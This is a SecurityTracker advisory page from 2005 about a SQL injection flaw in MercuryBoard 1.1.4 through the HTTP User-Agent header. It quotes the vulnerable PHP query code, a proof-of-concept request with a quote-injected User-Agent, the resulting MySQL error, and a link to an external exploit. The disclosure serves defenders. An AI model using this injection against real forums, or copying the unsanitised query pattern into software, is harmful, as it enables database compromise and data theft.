Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
|
|
|
|
|
|
|
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
|
|
|
|
Become a Partner and License Our Database or Notification Service
|
|
|
|
|
|
|
|
|
|
|
|
|
MercuryBoard Input Validation Hole in HTTP User-Agent Permits SQL Injection
|
|
SecurityTracker Alert ID: 1014263 |
|
SecurityTracker URL: http://securitytracker.com/id/1014263
|
|
CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Jun 22 2005
|
Impact:
Disclosure of system information, Disclosure of user information, User access via network
|
Exploit Included: Yes
|
Version(s): 1.1.4
|
Description:
An input validation vulnerability was reported in MercuryBoard. A remote user can inject SQL commands.
The 'global.php' script does not properly validate user-supplied input in the HTTP User-Agent field. A remote user can supply a specially crafted parameter value to execute SQL commands on the underlying database.
A demonstration exploit is provided:
GET /mercuryboard/ HTTP/1.1
User-Agent: 666'
Host: 127.0.0.1
A demonstration exploit is available at:
http://rst.void.ru/download/r57mercury.txt
1dt.w0lf reported this vulnerability.
|
Impact:
A remote user can execute SQL commands on the underlying database.
|
Solution:
No solution was available at the time of this entry.
|
Vendor URL: www.mercuryboard.com/ (Links to External Site)
|
Cause:
Input validation error
|
Underlying OS:
Linux (Any), UNIX (Any), Windows (Any)
|
|
Message History:
None.
|
Source Message Contents
|
Date: 21 Jun 2005 16:32:05 -0000
Subject: MercuryBoard 1.1.4 SQL Injection
|
RST/GHC Advisory #28
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Product : MercuryBoard
Version : 1.1.4
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
FILE : index.php
VULN : SQL injection
CODE :
global.php
----------
71 : $this->agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : null;
index.php
---------
154 : $mercury->db->query("REPLACE INTO {$mercury->pre}active (active_id, active_action, active_item, active_time,
active_ip, active_user_agent, active_session) VALUES ({$mercury->user['user_id']}, '{$mercury->get['a']}', $item,
$mercury->time, '$mercury->ip', '$mercury->agent', '{$mercury->session['id']}')");
INFO :
-->--
GET /mercuryboard/ HTTP/1.1
User-Agent: 666'
Host: 127.0.0.1
--<--
...
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right
syntax to use near 'aa3211413f374429d3830cd062b25b86')' at line 1
Query Error [1064]:
This type of error is reported by MySQL.
Query: REPLACE INTO mb_active (active_id, active_action, active_item, active_time, active_ip, active_user_agent, active_session) VALUES
(1, 'board', 0, 1116314234, '127.0.0.1', '666'', 'aa3211413f374429d3830cd062b25b86')
...
EXPLOIT:
http://rst.void.ru/download/r57mercury.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1dt.w0lf
RST/GHC
http://rst.void.ru
http://ghc.ru
|
|
Go to the Top of This SecurityTracker Archive Page
|
